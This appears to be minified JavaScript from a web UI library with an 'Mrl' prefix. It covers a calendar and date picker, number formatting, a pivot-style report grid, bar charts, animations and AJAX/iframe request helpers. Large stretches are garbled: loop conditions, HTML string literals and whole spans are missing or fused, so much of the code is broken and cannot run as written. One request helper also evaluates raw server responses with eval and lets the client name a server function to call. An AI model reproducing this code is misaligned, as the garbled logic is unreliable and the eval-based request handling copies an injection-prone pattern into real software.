';var ty=cal.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.removeChild(ty.childNodes[0]);ty.parentNode.style.fontSize=fs+'px';cal.ty=ty;ty.cal=cal;var trt=Mrlce('tr');cal.trt=trt;var td=Mrlce('td');td.style.paddingLeft=parseInt(fs/5)+'px';td.style.paddingRight=parseInt(fs/5)+'px';td.style.textAlign='center';td.style.fontSize=cal.fs+'px';td.colSpan=7;var btnl=Mrlce('div');Mrlab4(btnl,0,0);btnl.style.paddingLeft=parseInt(fs/5)+'px';btnl.style.paddingRight=parseInt(fs/5)+'px';btnl.style.fontSize=cal.fs+'px';btnl.innerHTML='<';btnl.style.cursor='pointer';btnl.onclick=function(){var cal=this.cal;var now=cal.Ldate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var prm=m-1;prm='00'+''+prm;prm=prm.substring(prm.length-2);var py=y;if(m*1==1){prm='12';py=y-1;py='0000'+''+py;py=py.substring(py.length-4)};var nm=m*1+1;var ny=y;if(m*1==12){nm='01';ny=y*1+1;ny='0000'+''+ny;ny=ny.substring(ny.length-4)};cal.Ldate=py+'-'+prm+'-'+'01';cal.refresh();};btnl.cal=cal;td.appendChild(btnl);cal.btnl=btnl;var now=cal.Ldate;var md=Mrlce('label');md.style.paddingLeft=parseInt(fs/5)+'px';md.style.paddingRight=parseInt(fs/5)+'px';md.style.cursor='pointer';md.innerHTML=mth[now.substring(5,7)*1];Mrlft(md,null,cal.fs);md.onclick=function(){this.cal.Lselmth()};cal.md=md;md.cal=cal;td.appendChild(md);var yd=Mrlce('label');yd.style.paddingLeft=parseInt(fs/5)+'px';yd.style.paddingRight=parseInt(fs/5)+'px';yd.style.cursor='pointer';yd.innerHTML=now.substring(0,4);Mrlft(yd,null,cal.fs);yd.onclick=function(){this.cal.Lselyr()};cal.yd=yd;yd.cal=cal;td.appendChild(yd);var btnr=Mrlce('a');Mrlab4(btnr,0);btnr.style.right='0px';btnr.innerHTML='>';btnr.style.paddingLeft=parseInt(fs/5)+'px';btnr.style.paddingRight=parseInt(fs/5)+'px';btnr.style.cursor='pointer';btnr.style.fontSize=cal.fs+'px';btnr.onclick=function(){var cal=this.cal;var now=cal.Ldate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var prm=m-1;prm='00'+''+prm;prm=prm.substring(prm.length-2);var py=y;if(m*1==1){prm='12';py=y-1;py='0000'+''+py;py=py.substring(py.length-4)};var nm=m*1+1;nm='00'+''+nm;nm=nm.substring(nm.length-2);var ny=y;if(m*1==12){nm='01';ny=y*1+1;ny='0000'+''+ny;ny=ny.substring(ny.length-4)};cal.Ldate=ny+'-'+nm+'-'+'01';cal.refresh();};btnr.cal=cal;td.appendChild(btnr);cal.btnr=btnr;trt.appendChild(td);ty.appendChild(trt);var trm=Mrlce('tr');var sd=Mrlce('td');sd.style.paddingLeft=parseInt(fs/5)+'px';sd.style.paddingRight=parseInt(fs/5)+'px';sd.colSpan=7;sd.style.display='none';trm.appendChild(sd);ty.appendChild(trm);cal.trm=trm;var trw=Mrlce('tr');for(var i=0;i3;i=0){ty.removeChild(ty.childNodes[3]);};var now=cal.Ldate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var prm=m-1;prm='00'+''+prm;prm=prm.substring(prm.length-2);var py=y;if(m*1==1){prm='12';py=y-1;py='0000'+''+py;py=py.substring(py.length-4)};var nm=m*1+1;nm='00'+''+nm;nm=nm.substring(nm.length-2);var ny=y;if(m*1==12){nm='01';ny=y*1+1;ny='0000'+''+ny;ny=ny.substring(ny.length-4)};if((parseInt(y/4)==y/4&&(parseInt(y/100)!=y/100))||parseInt(y/400)==y/400){var med=[31,29,31,30,31,30,31,31,30,31,30,31];var medd=[0,31,60,91,121,152,182,213,244,274,305,335];}else{var med=[31,28,31,30,31,30,31,31,30,31,30,31];var medd=[0,31,59,90,120,151,181,212,243,273,304,334];};var fm=(y*365)*1+parseInt((y-1)/4)*1-parseInt((y-1)/100)*1+parseInt((y-1)/400);fm=fm*1+medd[m*1-1];var wd=fm-(parseInt(fm/7)*7);if(wd==0){wd=7};var ds=new Array();var n=0;for(var i=0;i<42;i++){if(i>=wd&&i<(wd*1+med[m*1-1])){n++;ds[i]=[n,'t'];}else if(i=(wd*1+med[m*1-1])){ds[i]=[i-(wd*1+med[m*1-1])*1+1,'n'];}else{ds[i]=[1,'na'];};};n=-1;for(var i=0;i<6;i++){var trd=Mrlce('tr');for(var q=0;q';var dty=d.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;dty.removeChild(dty.childNodes[0]);d.dty=dty;d.style.border='solid 3px '+cal.tbcolor;var n=-1;for(var i=0;i<4;i++){var tr=Mrlce('tr');tr.style.backgroundColor=cal.wbcolor;for(var q=0;q<3;q++){n++;var td=Mrlce('td');td.style.paddingLeft=parseInt(fs/5)+'px';td.style.paddingRight=parseInt(fs/5)+'px';td.style.paddingTop=parseInt(fs/5)+'px';td.style.paddingBottom=parseInt(fs/5)+'px';td.style.textAlign='center';td.style.fontSize=cal.fs+'px';td.style.border='solid 1px '+cal.tbcolor;td.style.color=cal.wcolor;td.style.cursor='pointer';td.innerHTML=cal.mth[n].substring(0,3);td.cal=cal;td.d=d;td.ms=ms;td.mm=n*1+1;td.onclick=function(){var cal=this.cal;var now=cal.Ldate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var nm=this.mm;nm='00'+''+nm;nm=nm.substring(nm.length-2);cal.Ldate=y+'-'+nm+'-'+d;cal.refresh();this.ms.parentNode.removeChild(this.ms);};tr.appendChild(td);};dty.appendChild(tr);};ms.appendChild(d);cal.appendChild(ms);};cal.Lselyr=function(Lselyr_yr){var cal=this.cal;var ms=Mrlce('div');ms.style.zIndex='301';Mrlab4(ms,0,-cal.fs);Mrlft(ms,null,cal.fs);var bk=Mrlce('img');Mrlab4(bk,0,0);bk.style.height=cal.offsetHeight+'px';bk.style.width=cal.offsetWidth+'px';bk.src='/MRL/img/hidden.png';bk.style.zIndex='300';bk.ms=ms;bk.onclick=function(){this.ms.parentNode.removeChild(this.ms)};ms.appendChild(bk);var n=1;for(var i=0;i<10;i++){var ar=Mrlce('img');Mrlab4(ar,cal.md.offsetTop*1+(cal.yd.offsetHeight)*1+0+i*1,(cal.yd.offsetLeft*1+cal.yd.offsetWidth/2)*1-i,1,n);ar.src='/MRL/img/hidden.png';ar.style.backgroundColor=cal.tbcolor;ms.appendChild(ar);n++;n++;};var d=Mrlce('div');Mrlab4(d,cal.md.offsetTop*1+(cal.yd.offsetHeight)*1+10,cal.ty.childNodes[4].childNodes[2].offsetLeft);d.style.position='absolute';d.style.zIndex='301';d.innerHTML='
';var dty=d.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;dty.removeChild(dty.childNodes[0]);d.dty=dty;d.style.border='solid 3px '+cal.tbcolor;var n=-1;if(!Lselyr_yr){var y=cal.Ldate.substring(0,4);y=y-3;}else{var y=Lselyr_yr;y=y-3;};var nd=[3,0,4,7,1,5,8,2,6,9];for(var i=0;i<4;i++){var tr=Mrlce('tr');for(var q=0;q<3;q++){var td=Mrlce('td');td.style.paddingLeft=parseInt(fs/5)+'px';td.style.paddingRight=parseInt(fs/5)+'px';td.style.paddingTop=parseInt(fs/5)+'px';td.style.paddingBottom=parseInt(fs/5)+'px';td.style.textAlign='center';td.style.border='solid 1px '+cal.tbcolor;td.style.color=cal.tcolor;td.style.fontSize=cal.fs+'px';td.style.backgroundColor=cal.tbcolor;td.style.cursor='pointer';td.cal=cal;td.d=d;td.ms=ms;if(q==0&&i==0){td.innerHTML='<';td.y=y*1+3;td.onclick=function(){var cal=this.cal;var now=cal.Ldate;var y=this.y;var m=now.substring(5,7);var d=now.substring(8,10);var ny=y-10;ny='0000'+''+ny;ny=ny.substring(ny.length-4);this.ms.parentNode.removeChild(this.ms);cal.Lselyr(ny);};}else if(q==2&&i==0){td.innerHTML='>';td.y=y*1+3;td.onclick=function(){var cal=this.cal;var now=cal.Ldate;var y=this.y;var m=now.substring(5,7);var d=now.substring(8,10);var ny=y*1+10;ny='0000'+''+ny;ny=ny.substring(ny.length-4);this.ms.parentNode.removeChild(this.ms);cal.Lselyr(ny);};}else{n++;td.style.color=cal.wcolor;td.style.backgroundColor=cal.wbcolor;var ny=(y*1+nd[n]);ny='0000'+''+ny;ny=ny.substring(ny.length-4);td.innerHTML=ny;td.mm=nd[n]*1+y*1;td.onclick=function(){var cal=this.cal;var now=cal.Ldate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var ny=this.mm;ny='0000'+''+ny;ny=ny.substring(ny.length-4);cal.Ldate=ny+'-'+m+'-'+d;cal.refresh();this.ms.parentNode.removeChild(this.ms);};};tr.appendChild(td);};dty.appendChild(tr);};ms.appendChild(d);cal.appendChild(ms);};cal.onMrlblur=function(){if(this.cal.parentNode){this.cal.parentNode.removeChild(this.cal);};};cal.refresh();var inp=Mrlce('input');Mrlab4(inp,0,-100,20,80);inp.cal=cal;cal.inp=inp;cal.style.filter='alpha(opacity=100)';cal.style.opacity=1;inp.onfocus=function(){this.cal.onMrlAnimatEnd=function(){};MrlAnimat(this.cal,2,100,'fs',null,null,null,null,100)};inp.onblur=function(){var inp=this;var obj=inp.cal.ip;var nd=obj.value;if(nd!=''){var dd=MrlAutoDate(nd);if(dd){obj.value=dd;if(this.cal.ip.onchange){this.cal.ip.onchange()};if(this.cal.ip.onMrlSubmit){this.cal.ip.onMrlSubmit()};}else{obj.value='';if(this.cal.ip.onchange){this.cal.ip.onchange()};if(this.cal.ip.onMrlSubmit){this.cal.ip.onMrlSubmit()};};}else{obj.value='';if(this.cal.ip.onchange){this.cal.ip.onchange()};if(this.cal.ip.onMrlSubmit){this.cal.ip.onMrlSubmit()};};this.cal.onMrlAnimatEnd=function(){this.cal.onMrlblur()};MrlAnimat(this.cal,2,100,'fs',null,null,null,null,0);};inp.shfup='u';inp.onkeydown=function(e){var obj=this.cal.ip;e=e||window.event;var kc=e.which||e.keyCode;if(kc==16){this.shfup='d'};obj.value=this.value;if(this.cal.ip.onchange){this.cal.ip.onchange()};if((((kc>=48&&kc<=57)||(kc>=96&&kc<=105))&&this.shfup=='u')||kc==36||kc==35||kc==46||kc==8||kc==9||kc==13||kc==27||kc==37||kc==38||kc==39||kc==40||kc==111||kc==191||kc==109||kc==189){}else{return false};if(kc==13){this.blur();}else if(kc==27){this.value='';this.onblur();if(this.cal.ip.onchange){this.cal.ip.onchange()};}else if(kc==9){obj.mLjfocus=obj.onfocus;obj.onfocus=function(){this.onfocus=this.mLjfocus};obj.focus();obj.select();return 0;};};inp.onkeyup=function(e){var obj=this.cal.ip;e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){return false;}else if(kc==16){this.shfup='u';};obj.value=this.value;if(this.cal.ip.onchange){this.cal.ip.onchange()};};cal.appendChild(inp);cal.id='MrlCalendar'+parseInt(Math.random()*99999);cal.onmousedown=function(){setTimeout("var a=Mrlgei('"+this.cal.id+"');a.inp.focus()",0);};cal.onmouseup=function(){setTimeout("var a=Mrlgei('"+this.cal.id+"');a.inp.focus()",0);};par.appendChild(cal);inp.value=cal.ip.value;ip.blur();inp.focus();inp.select();cal.style.fontFamily='verdana';return cal;};/*MrlCalendar=function(LCalendar_ObjA,LCalendar_FontSize,LCalendar_Type,LCalendar_Colour){*/Mrldp=function(Ldp_Amt,Ldp_dp){var zros='00000000000000000000000000';Ldp_Amt=Ldp_Amt+'';Ldp_Amt=Ldp_Amt.replace(/,/g,'');if(isNaN(Ldp_Amt*1)){return '0'+(Ldp_dp>=1?'.'+zros.substring(0,Ldp_dp):'')};if(Ldp_Amt*1==0){return '0'+(Ldp_dp>=1?'.'+zros.substring(0,Ldp_dp):'')};Ldp_Amt=Math.round(Ldp_Amt*Math.pow(10,Ldp_dp))/Math.pow(10,Ldp_dp);var a=parseFloat(Ldp_Amt);var h=a*1>=0?'':'-';var a=a*1>=0?a:parseFloat(a*(-1));a+='';if(isNaN(a*1)){a=0};var dps=Ldp_dp==0?0:Ldp_dp?Ldp_dp:2;dp=Math.pow(10,dps);var amt=Math.round(a*dp);amt+='';var a=amt.substring(0,amt.length-dps);var d=amt.substring(amt.length-dps);d=dp+''+d;d=d.substring(d.length-dps);var c=parseInt(a.length/3);if(a.length/3==parseInt(a.length/3)){c-=1};var e='';for(var i=0;i0){e+='.'+d;};return h+''+e;};MrlCalendarAry=function(LCalendarAry_fz,LCalendarAry_col){var fz=LCalendarAry_fz||12;var mc=LCalendarAry_col||'#fafafa';var d=Mrlce('div');d.style.overflow='hidden';d.style.display='inline-block';d.style.position='relative';var wd=['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday'];var mth=['January','February','March','April','May','June','July','August','September','October','November','December'];var cmth=mpubdate().split('-').slice(0,2).join('-');d.mwd=wd;d.mmth=mth;d.mfz=fz;d.mmc=mc;d.mcmth=cmth;d.onMrlResult=[];var inp=Mrlce('input');d.appendChild(inp);Mrlab4(inp,null,null,null,null);inp.style.opacity='0';inp.d=d;d.inp=inp;d.onmousedown=function(){var d=this;setTimeout('Mrlgei("'+d.id+'").inp.focus()',0);};d.onmouseup=function(){var d=this;setTimeout('Mrlgei("'+d.id+'").inp.focus()',0);};d.onMrlSubmit=function(){alert('Please set onMrlSubmit');};d.id=mgdi('MrlC');d.sto=1;inp.onblur=function(){var inp=this;var d=inp.d;clearTimeout(d.sto);d.sto=setTimeout('Mrlgei("'+d.id+'").onMrlSubmit()',100);};inp.onfocus=function(){var inp=this;var d=inp.d;clearTimeout(d.sto);};var cds=new Array();for(var i=0;i<2;i++){var cd=Mrlce('div');d.appendChild(cd);cd.style.display='inline-block';cd.style.float='left';cd.d=d;cds[i]=cd;};d.cds=cds;d.msethol=function(msethol_dat){var d=this;var dat=msethol_dat;var hdat=new Array();for(var i=0;i';for(var i=0;i<4;i++){tds[0][i].style.cursor='pointer'};};tds[0][0].onclick=function(){var ctd=this;var d=ctd.d;var cmth=mdate(d.mcmth+'-00').split('-').slice(0,2).join('-');d.mcmth=cmth;d.mdraw(d.cds[0],cmth,0);d.mdraw(d.cds[1],mdate(cmth+'-32').split('-').slice(0,2).join('-'),1);};tds[0][3].onclick=function(){var ctd=this;var d=ctd.d;var cmth=mdate(d.mcmth+'-32').split('-').slice(0,2).join('-');d.mcmth=cmth;d.mdraw(d.cds[0],cmth,0);d.mdraw(d.cds[1],mdate(cmth+'-32').split('-').slice(0,2).join('-'),1);};tds[0][1].onclick=function(){var ctd=this;var d=ctd.d;var mc=d.mmc;var mth=d.mmth;var hc=Mrlmid();d.appendChild(hc);hc.style.position='absolute';hc.childNodes[0].style.opacity='0';hc.td.hc=hc;hc.td.onclick=function(e){e=e||window.event;if(e.target==this){this.hc.mblur()};};var dd=Mrlce('div');hc.td.appendChild(dd);dd.style.backgroundColor=mc;Mrlab4(dd,null,null,null,null,1);dd.style.display='inline-block';var mmc=mrgb(mc)[100];var sha=m16to10(mmc.substring(1,3))+','+m16to10(mmc.substring(3,5))+','+m16to10(mmc.substring(5,8));dd.style.boxShadow='rgba('+sha+',0.65) 0px 0px 5px 1px';var tds=mtblsplit(dd,3,4);var n=0;for(var i=0;i=DicData.length){LjCF=''};if (LjTF>=DicData.length){LjTF=''};var LjText='';var TNData=NData;var TData=new Array();for(var i=1;i(DicData[LjCF][i]*1)){LjAmt=DicData[LjCF][i]*1}}; }; TData[LjText]=LjAmt; };};};if((nlf.length*LjEndDat)>=5000){var LjA='The Grid contain more then '+(nlf.length*LjEndDat)+' cells';LjA+=decodeURI('%0a')+'It will take a long time to report';LjA+=decodeURI('%0a')+'Continue anyway?';if(!confirm(LjA)){ObjLLoading.style.display='none';return 0};};var DicData=this.onMrlSortedDicData;var ObjA=this.LObjTbl.childNodes[0].childNodes[0].childNodes;for (var i=0;ObjA.length!=0;i++){ObjA[0].parentNode.removeChild(ObjA[0]);};var ObjB=this.LObjTbl.childNodes[0].childNodes[0];var ObjParent=ObjB.parentNode;ObjParent.removeChild(ObjB);var ObjC=Mrlce('tr');ObjB.appendChild(ObjC);var ObjD=Mrlce('td');ObjC.appendChild(ObjD);ObjD.style.paddingLeft='20px';var ObjD=Mrlce('td');ObjC.appendChild(ObjD);var Sel=Mrlce('a');Sel.style.position='absolute';Sel.style.top='2px';Sel.style.left='30px';Sel.style.height='20px';Sel.style.width='80px';Sel.href='javascript:void(0)';if(ObjDiv.onMrlEditMode=='N'){Sel.innerHTML='Edit Mode';}else if(ObjDiv.onMrlEditMode=='Y'){Sel.innerHTML='Lock Report';};Sel.style.zIndex='500';Sel.LParent=this;Sel.LObjMode=this.LObjMode;Sel.onclick=function(){var ObjDiv=this.LParent;if(ObjDiv.onMrlEditMode=='N'){this.LObjMode.style.display='none';this.innerHTML='Lock Report';ObjDiv.onMrlEditMode='Y';}else if(ObjDiv.onMrlEditMode=='Y'){this.LObjMode.style.display='inline';this.innerHTML='Edit Mode';ObjDiv.onMrlEditMode='N';};ObjDiv.onMrlSetReport();};ObjD.appendChild(Sel);for (var i=0;i0){ObjE.style.width='150px';ObjE.style.display='none';var ObjG=Mrlce('button');ObjG.innerHTML='+';ObjG.style.height='20px';ObjG.style.width='40px';if (this.onMrlEditMode=='N'){ObjG.style.display='none'};ObjG.onclick=function(){this.parentNode.getElementsByTagName('select')[0].style.display='inline';this.style.display='none';this.parentNode.getElementsByTagName('select')[0].focus();this.parentNode.getElementsByTagName('select')[0].onblur=function(){if (this.value!=''){return 0};this.parentNode.getElementsByTagName('button')[0].style.display='inline';this.style.display='none';};};ObjD.appendChild(ObjG);}else{ObjE.style.width='205px';ObjE.style.display='inline';};if(nlf.length!=0){for(var i=0;i=nn.length){break};LjData=nn[mm];};var r=new Array();var Ttl=new Array();for(var m=0;m','>');sel.appendChild(op);};if(selv[i]!==undefined){sel.value=selv[i]};dd.appendChild(sel);d.appendChild(dd);};d.rheight=d.offsetHeight;MrlAnimat(d,2,100,'fs',null,null,d.rheight);sel.focus();d.style.height='10px';};h.appendChild(a);var lbl=Mrlce('label');lbl.style.position='relative';lbl.style.margin='0px 10px 0px 10px';lbl.style.height='20px';lbl.innerHTML='|';h.appendChild(lbl);var a=Mrlce('a');a.style.position='relative';a.style.height='20px';a.href='javascript:void(0)';a.innerHTML='Show Data';a.gr=gr;a.onclick=function(){var gr=this.gr;var dat=gr.dat;var hd=gr.hd;var ObjA=Mrlce('div');ObjA.style.position='absolute';ObjA.style.height='100%';ObjA.style.width='100%';ObjA.style.top='0px';ObjA.style.left='0px';ObjA.style.zIndex='9999';ObjA.style.backgroundColor='#fafafa';trinner='';for(var i=0;i'+hd[i]+'';};trinner+='';for(var i=0;i<1;i++){trinner+='';for(var q=0;q'+dat[i][q]+'';};trinner+='';};trinner+='
';ObjA.innerHTML=trinner;gr.appendChild(ObjA);var a=Mrlce('a');a.ObjA=ObjA;a.style.position='absolute';a.style.right='30px';a.style.top='10px';a.style.fontSize='20px';a.innerHTML='x';a.style.zIndex='999';a.style.textAlign='center';a.href='javascript:void(0)';ObjA.appendChild(a);a.onclick=function(){this.ObjA.parentNode.removeChild(this.ObjA)};};h.appendChild(a);};gr.caldat=function(){var gr=this.gr;var dat=gr.dat.slice();var cbtm=gr.cbtm;var ccal=gr.ccal;var cmid=gr.cmid;var csor=gr.csor;for(var i=0;i b[key]) ? (0-ord) : (a[key] < b[key]) ? ord: 0)})};if(cbtm!==''){var key=cbtm;sdat.sort(function(a,b) {return ((a[key] > b[key]) ? (0-ord) : (a[key] < b[key]) ? ord: 0)})};gr.sdat=sdat.slice();};gr.mchart=function(){var gr=this.gr;gr.caldat();var sdat=gr.sdat.slice();var cbtm=gr.cbtm;var ccal=gr.ccal;var cmid=gr.cmid;var csor=gr.csor;var ndat=new Array();var cdat=new Array();var chdat=new Array();var cbtmc=1;var cmidc=1;if(cbtm==''){return 0};var cbtmc=0;for(var i=0;i=12){alert("The field have too many different data");return 0};for(var q=0;q=30){alert("The field have too many different data");return 0};var mi=0;var ma=0;for(var i=0;ima*1){ma=cdat[i]};if(cdat[i]*1ra){cr=cr;}else if(cr*40>ra){cr=cr*2;}else if(cr*100>ra){cr=cr*5;};if(mi<0){var crb=(0-parseInt(pmi/cr)-1)*cr;}else{var crb=0;};var ch=Mrlce('div');if(gr.ch){gr.removeChild(gr.ch)};gr.ch=ch;var chh=(gr.offsetHeight-20);var chw=(gr.offsetWidth);Mrlab4(ch,20,0,chh,chw);ch.style.overflow='hidden';crpx=(chh-20-80)/21;for(var i=0;i<21;i++){var q=21-i;if(i/2==parseInt(i/2)){var lbl=Mrlce('button');Mrlab4(lbl,parseInt(crpx*q)-10,0,20,120);lbl.style.textAlign='right';lbl.innerHTML=Mrldp(crb*1+(cr*i),2);lbl.style.border='none 1px #000';lbl.style.backgroundColor='transparent';ch.appendChild(lbl);};var ln=Mrlce('img');Mrlab4(ln,parseInt(crpx*q),120,1,5);ln.style.backgroundColor=gr.lcol;ln.src='/MRL/img/hidden.png';ln.style.zIndex=2;ch.appendChild(ln);var iln=Mrlce('img');Mrlab4(iln,parseInt(crpx*q),120,1,(chw-120-120));iln.style.backgroundColor=gr.ilcol;iln.src='/MRL/img/hidden.png';iln.style.zIndex=1;if((crb*1+(cr*i))==0){iln.style.backgroundColor=gr.lcol;};ch.appendChild(iln);};var chndat=new Array();for(var i in chdat){chndat[chndat.length]=i};crwpx=(chw-120-120)/chndat.length;for(var i=0;i=0){Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)-20,parseInt(crwpx*(i*1+1))*1-100,20,200);}else{Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)*1+20,parseInt(crwpx*(i*1+1))*1-100,20,200);};lbl.style.textAlign='center';lbl.style.zIndex=4;lbl.innerHTML=Mrldp(Math.round(cdat[i]),2);cb.appendChild(lbl);if(gr.ct==1){var dln=Mrlce('img');if(ht>0){Mrlab4(dln,cbh-parseInt(ht*1-crbht*1+crpx*1),parseInt(crwpx*(i*1+0.2))*1-1,ht*1,parseInt(wd*0.6));dln.style.borderTop='solid 2px #8be';}else{Mrlab4(dln,cbh+crbht*1-crpx*1,parseInt(crwpx*(i*1+0.2))*1-1,ht*(0-1),parseInt(wd*0.6));dln.style.borderBottom='solid 2px #8be';};lbl.style.left=(parseInt(crwpx*(i*1+0.5))*1-100)+'px';dln.style.backgroundColor='#9cf';dln.src='/MRL/img/hidden.png';dln.style.zIndex=0;cb.appendChild(dln);}else if(gr.ct==2){var cpn=(ht-pn)/wd;for(var q=0;q0){Mrlab4(dln,cbh-parseInt(nht*1-crbht*1+crpx*1),parseInt(crwpx*i)*1+q-1,nht*1,1);dln.style.borderTop='solid 2px #8be';}else{Mrlab4(dln,cbh+crbht*1-crpx*1,parseInt(crwpx*i)*1+q-1,nht*(0-1),1);dln.style.borderBottom='solid 2px #8be';};dln.style.backgroundColor='#9cf';dln.src='/MRL/img/hidden.png';dln.style.zIndex=0;cb.appendChild(dln);};pn=ht;};};}else{var milcol=gr.milcol;var millcol=gr.millcol;var wd=(parseInt(crwpx)*1+1);var pn=new Array();var ppn=0;for(var i=0;i0){var ddi=Mrlce('div');Mrlab4(ddi,10,chw-110,(mcdat[0].length*20),100);ddi.style.border='solid 1px #036';ch.appendChild(ddi);for(var ti=0;ti=0){Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)-20,parseInt(crwpx*(i*1+1))*1-100,20,200);}else{Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)*1+20,parseInt(crwpx*(i*1+1))*1-100,20,200);};lbl.style.textAlign='center';lbl.style.zIndex=mcdat[i].length*1+1;lbl.innerHTML=Mrldp(Math.round(cdat[i]),2);cb.appendChild(lbl);var mbs=0;if(gr.ct==1){lbl.style.left=(parseInt(crwpx*(i*1+0.5))*1-100)+'px';for(var q=0;q0){Mrlab4(dln,cbh-parseInt(mht*1-crbht*1+crpx*1+mbs*1),parseInt(crwpx*(i*1+0.2))*1-1,mht*1,wd*0.6);}else{var dmht=mht;if(mht<=0){var dmht=mht*(0-1)};Mrlab4(dln,cbh*1+crbht*1-crpx*1-mbs*1,parseInt(crwpx*(i*1+0.2))*1+-1,dmht*1,wd*0.6);};dln.style.backgroundColor=milcol[q];dln.style.borderLeft='solid 1px '+millcol[q];dln.style.borderRight='solid 1px '+millcol[q];if(q==mcdat[i].length-1){dln.style.borderTop='solid 1px '+millcol[q]};dln.src='/MRL/img/hidden.png';dln.style.zIndex=0;cb.appendChild(dln);mbs=mbs*1+mht*1;};}else if(gr.ct==2){var cttl=0;for(var q=0;q0){Mrlab4(dln,cbh-parseInt(mmht*1-crbht*1+crpx*1*1),parseInt(crwpx*i)*1-1*1+(p*2),mmht*1,2);}else{var dmht=mht;if(mmht<=0){var dmht=mmht*(0-1)};Mrlab4(dln,cbh+crbht*1-crpx*1*1,parseInt(crwpx*i)*1-1*1+(p*2),dmht*1,2);};dln.style.backgroundColor=milcol[q];dln.style.borderTop='solid 1px '+millcol[q];dln.style.zIndex=(0-q)*1+mcdat[i].length*1;dln.src='/MRL/img/hidden.png';cb.appendChild(dln);};pn[q]=cttl;};};};};gr.appendChild(ch);};gr.cbtm='';gr.ccal='';gr.cmid='';gr.csor=new Array();gr.ct=2;gr.mtool();setTimeout("Mrlgei('"+gr.id+"').mchart()");return gr;};MrlAnimatR=function(MrlAnimatR_Obj,MrlAnimatR_Spd,MrlAnimatR_Sec,MrlAnimatR_Typ,MrlAnimatR_Btm,MrlAnimatR_Rgt,MrlAnimatR_Height,MrlAnimatR_Width,MrlAnimatR_Opa,MrlAnimatR_Rot,MrlAnimatR_ScrT,MrlAnimatR_ScrL){var Obj=MrlAnimatR_Obj;if (!Obj.tagName){return 0};var Spd=isNaN(MrlAnimatR_Spd*1)?2:Math.round(MrlAnimatR_Spd);var Sec=isNaN(MrlAnimatR_Sec*1)?2000:Math.round(MrlAnimatR_Sec);var FS=MrlAnimatR_Typ;Obj.style.position=Obj.style.position?Obj.style.position:'absolute';FS+='';FS=FS.toUpperCase();var Tms=Math.round(Sec/50);if(!Tms){return 0};if (!document.body.MrlAnimatR){var ObjA=Mrlce('div');ObjA.style.display='none';document.body.appendChild(ObjA);document.body.MrlAnimatR=ObjA;}else{var ObjA=document.body.MrlAnimatR;};var ObjB=ObjA.childNodes;var Chk=1;for(var i=0;i'){rp=rp.substring(10);};rp=rp.substring(0,rp.indexOf(a.mdet));if(rp.substring(rp.length-11).toUpperCase()==''){rp=rp.substring(0,rp.length-11);};rp=MrlReplace(MrlReplace(MrlReplace(rp,mamp,mramp),mlt,Lt),mgt,mrgt);a.onMrlResult=rp;a.parentNode.removeChild(a);a.onMrlSubmit();};setTimeout("Mrlgei('"+mif.id+"').onMrlLoad()",100);return mif;};mnphp=function(mnphp_func,mnphp_txt){var func=JSON.stringify(mnphp_func);var t=JSON.stringify(mnphp_txt);var fd=new FormData();fd.append('fp',func);fd.append('data',t);var a=new XMLHttpRequest();a.open('POST','/MRL/mnphp/?m='+mpubdatetime().toString().replace(/[ ]|[:]|[-]/gui,'')+String(new Date().getMilliseconds()));a.onMrlSubmit=function(){console.log(this.onMrlResult)};a.onreadystatechange=function(){var a=this;if(a.readyState==4&&a.status==200){var rep=a.response;eval(rep.toString().replace(/null/gi,'""'));if(dats===undefined){console.log('Unexpected reply: '+rep.toString());a.onMrlResult='';}else{a.onMrlResult=dats.slice();};/*if(dats===undefined){*/a.onMrlSubmit();};/*if(a.readyState==4&&a.status==200){*/};/*a.onreadystatechange=function(){*/a.send(fd);return a;};/*mnphp=function(mnphp_fn,mnphp_txt){*/msphp=function(mphp_fn,mphp_txt){var mif=Mrlce('iframe');var t=JSON.stringify(mphp_txt);var fn=JSON.stringify(mphp_fn);mif.mt=t;mif.mfp=fn;mif.mdet=decodeURI('%01')+decodeURI('%03')+decodeURI('%07');mif.id='mphp'+parseInt(Math.random()*999999);mif.onMrlSubmit=function(){alert(this.onMrlResult)};mif.src='/msphp/?m='+parseInt(Math.random()*999999);mif.style.display='none';document.body.appendChild(mif);mif.onMrlLoad=function(){var a=this;var c=a.contentWindow;if(!c){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};if(!c.document){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};var d=c.document;if(!d){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};var ta=d.getElementById('data');var tb=d.getElementById('fp');if(!ta||!tb){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};ta.value=a.mt;tb.value=a.mfp;var f=d.getElementById('fm');f.submit();setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);};mif.onMrlComplete=function(){var a=this;var c=a.contentWindow;if(!c){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};var d=c.document;if(!d){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};if(!c.document){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};var rp=d.body;if(!rp){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};rp=rp.innerHTML;if(!rp){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};if(rp.indexOf(a.mdet)==-1){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 